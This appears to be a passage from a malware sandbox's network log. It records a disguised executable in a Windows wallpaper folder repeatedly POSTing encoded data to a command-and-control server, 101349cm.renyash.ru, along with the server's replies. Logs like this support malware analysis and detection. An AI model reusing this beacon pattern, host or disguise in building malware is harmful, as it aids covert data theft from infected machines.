Jan 1, 2025 15:18:09.548757076 CET	1056	OUT	Data Raw: 54 57 54 5f 5a 5d 52 5a 59 5b 5a 5a 52 59 5b 5f 55 54 5a 5e 57 5a 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TWT_Z]RZY[ZZRY[_UTZ^WZ[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;?Y'Z5]<3Y<5W3!%#U"W-1?.7/:9]//_ ,
Jan 1, 2025 15:18:09.641432047 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:09.898335934 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=STwm4I2whsMrQBOWUwZ5ndW6ibhXy%2FPhKW8TL7JXQxUTScfeX0tZRRDsL6WQ0NBoVAwIrPVLQHSTRpBIr5xPOgO0M8jpjW0Iq%2BrDHLjSdYg22VVxAk50mt13D0nhfjcNiko9QGnS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32311fcf0f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3745&min_rtt=1542&rtt_var=4985&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=76160&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49919	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:09.943418026 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49920	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:10.031897068 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:10.389755964 CET	1056	OUT	Data Raw: 54 51 51 53 5f 5a 57 5a 59 5b 5a 5a 52 5f 5b 5a 55 5d 5a 59 57 50 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TQQS_ZWZY[ZZR_[ZU]ZYWP[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/? ':(X6! ?<(->')5%??Q6"=%<'(8/9]//_ 4
Jan 1, 2025 15:18:10.475066900 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:10.746440887 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KRtmv0bNyb19rmvMV8rDr5jqi7rXf9V7IQfr9Lcua3dldNvBKAqcprK5rKzQcYk5TaQSmazpJcj39kfhcn40C9pA3oVQxQFvmMldLKnRVRUDP72pmkaYIsBFbZNXIIn8jGHsHSM%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323172f555e62-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2534&min_rtt=1746&rtt_var=2231&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=181321&cwnd=138&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49926	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:10.876302958 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:11.233592033 CET	1056	OUT	Data Raw: 51 57 51 55 5f 5d 57 5b 59 5b 5a 5a 52 59 5b 50 55 5e 5a 56 57 5d 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QWQU_]W[Y[ZZRY[PU^ZVW][Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A;?+^3)3"#_+^7Z?=5P')1<"W51_<>8/9]//_ ,
Jan 1, 2025 15:18:11.329854012 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:11.592708111 CET	821	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dDRfv%2BVMaQ0MlFSljFZy6NQ7Ap8H%2B20A6YNp8%2BPRiZ5C69mhSAYWalP4%2FywGnt%2FgglHnlPX2URVD3P%2F6T1SRiTi9W81XBQ0cFu7%2Ffn%2BT987034ID%2BTk7v%2B6orcmKa%2F4doo1WfWcM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3231c8de58c18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8279&min_rtt=2054&rtt_var=13220&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=28155&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49932	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:11.719240904 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:12.077275038 CET	1056	OUT	Data Raw: 54 54 54 5e 5a 5a 57 5d 59 5b 5a 5a 52 5d 5b 50 55 5a 5a 5d 57 59 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTT^ZZW]Y[ZZR][PUZZ]WY[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'/?0:8[5'^??.39)R%Z$61"'/++>089]//_ <
Jan 1, 2025 15:18:12.165422916 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:12.435277939 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zsbNhmEEVFmafschnswFWSWOACxXLTwcrfYCT2gJlpoKHheX1ADVg64pgaJEO8zEFzZXSR5DyB6tB%2BawdtBIKGjwtXqvuTAzJCMWW%2FD3V6U5kpTbVPxsXXLntAHqcXBmsLfNtQ8f"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32321bd678c1d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2450&min_rtt=1986&rtt_var=1673&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=256095&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49938	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:12.575587988 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:12.921000957 CET	1056	OUT	Data Raw: 54 50 51 50 5f 5e 57 5e 59 5b 5a 5a 52 5d 5b 5a 55 5b 5a 59 57 5c 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQP_^W^Y[ZZR][ZU[ZYW\[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D8?+Y':$[51;)(?<>.3&V#25%;_+>7^/*9]//_ <
Jan 1, 2025 15:18:13.069581985 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:13.242558956 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LjU7qKBwC9I3PkP0fNVWeMboZ3g3meR6q9w7htEl23dcDA%2FhqU1GtLmk%2F9w5BLKWuOaAWJaqGWl%2BVIFKfbRdBrNpVuOauTMU%2FiCdT7Dpepyi8ZTY8Yam5pOC%2BlKG8fB2sBGWMIRE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb323276bb47c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3399&min_rtt=1946&rtt_var=3636&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=107558&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49944	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:13.375128984 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:13.733608007 CET	1056	OUT	Data Raw: 54 50 51 54 5f 57 52 59 59 5b 5a 5a 52 59 5b 5f 55 5e 5a 5e 57 5a 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPQT_WRYY[ZZRY[_U^Z^WZ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D/7^075+Y?8/]=.T')%S2?U""&<;[?';9]//_ ,
Jan 1, 2025 15:18:13.818454981 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:13.990277052 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W7WilJa0Bypwh4jCvkk7aMicW%2FkfG6XZ%2Fvf6SnJh%2FkgdTkqiIFlKcNjXwaF0oxiIT9TdebvbGmqzxolquVviV7smsf6PsV1a33c3u05RRXmqjgiAl0h0ei8xOWNECM6nDxdSrYI%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3232c1de3f78f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2335&min_rtt=1480&rtt_var=2265&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=175417&cwnd=136&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49950	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:14.110357046 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:14.467888117 CET	1056	OUT	Data Raw: 54 54 51 50 5f 5c 57 5f 59 5b 5a 5a 52 5c 5b 51 55 5a 5a 59 57 5e 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTQP_\W_Y[ZZR\[QUZZYW^[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$803)<\51^)(X<>.06$?#T!1&Z1<X+,9]//_
Jan 1, 2025 15:18:14.567936897 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:14.833399057 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=43F9Y%2BIHtIidGqiDSt8ntbPwcPb2kG074L7Pg%2FwoNnbZqj6MRwU2jZ0301vICJCDbuMx4RFoyt87YQsh0%2BDgTzvvpTYgiIKHGRDdQQIhCcUDy3Qof4ZLyGG23haTZU5rb0jzF5lj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32330b81b8c3b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2058&min_rtt=2014&rtt_var=844&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=616033&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49956	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:15.051687002 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:15.405469894 CET	1328	OUT	Data Raw: 54 55 54 50 5f 59 57 50 59 5b 5a 5a 52 5c 5b 5e 55 5a 5a 5c 57 51 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TUTP_YWPY[ZZR\[^UZZ\WQ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;<3Y0["W8+$+>U'*6$, !!%??]<?\,9]//_
Jan 1, 2025 15:18:15.509732962 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:15.759119987 CET	958	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7AlosIEZEGxRwb5%2FJGgLLzV9FZKrgZrysXz8Tmyj4iUfJTBnj4WaPcUgSnJK9BAL9%2FcKFF4Ov%2FeFGH7GjJXyeaYzxtGSrJpj1v9UGcY8XuCuXXgHNeKkTUjdj9%2BPL4r39%2BzbRH6u"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32336acb743dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2261&min_rtt=1803&rtt_var=1594&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=266715&cwnd=238&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2d 0f 21 29 22 02 30 2c 2c 12 2e 2f 31 13 28 16 20 5f 2b 2c 2d 17 31 06 35 0d 3e 31 36 0b 22 29 33 1d 28 12 03 54 31 3c 3e 09 25 38 2e 5a 0d 1c 39 19 21 2e 34 0f 32 32 2d 53 30 38 0c 07 22 3e 3d 03 21 3b 24 04 31 5b 3e 5e 26 00 39 55 3a 3e 30 00 2f 03 2d 1d 2f 20 2d 06 24 3f 23 50 0f 1f 20 0e 32 07 3e 05 30 08 23 07 21 0d 28 57 35 04 21 53 37 2a 38 14 27 2a 2a 1d 26 28 22 56 26 2c 02 0d 23 2d 2e 55 27 0c 2f 56 27 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98-!)"0,,./1( _+,-15>16")3(T1<>%8.Z9!.422-S08">=!;$1[>^&9U:>0/-/ -$?#P 2>0#!(W5!S78'*&("V&,#-.U'/V'/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49957	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:15.144210100 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:18:15.499113083 CET	1056	OUT	Data Raw: 51 51 54 52 5f 5b 52 5d 59 5b 5a 5a 52 5c 5b 5f 55 5c 5a 5b 57 59 5b 5a 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QQTR_[R]Y[ZZR\[_U\Z[WY[Z[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$@-/'_#5#\?+Y<T'\>%/'P"%;[++Z/:9]//_
Jan 1, 2025 15:18:15.599072933 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49963	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:15.889641047 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue
Jan 1, 2025 15:18:16.249090910 CET	1056	OUT	Data Raw: 54 54 54 50 5a 5c 52 5c 59 5b 5a 5a 52 52 5b 5b 55 5c 5a 57 57 50 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTPZ\R\Y[ZZRR[[U\ZWWP[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;Y &:7#17Y);<+!0>1852"Z1>.,9]//_
Jan 1, 2025 15:18:16.358220100 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:18:16.621393919 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:18:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z6FX2skdmZH0RFdG%2FepvLGSC32RZSbZnN3Yy%2F9pe61BaOcls3Do7lhZW%2B%2FDyzIc6sSlyPbewgp3SoOYAj3Tb3uxh5fyQ0tiii%2BSwZWtLgWdFBxMZj71SZzoIPtvQZKJfUx3ulHCX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3233bfeaf8ca8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=14041&min_rtt=8483&rtt_var=14297&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1360&delivery_rate=27573&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49970	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:18:16.750377893 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
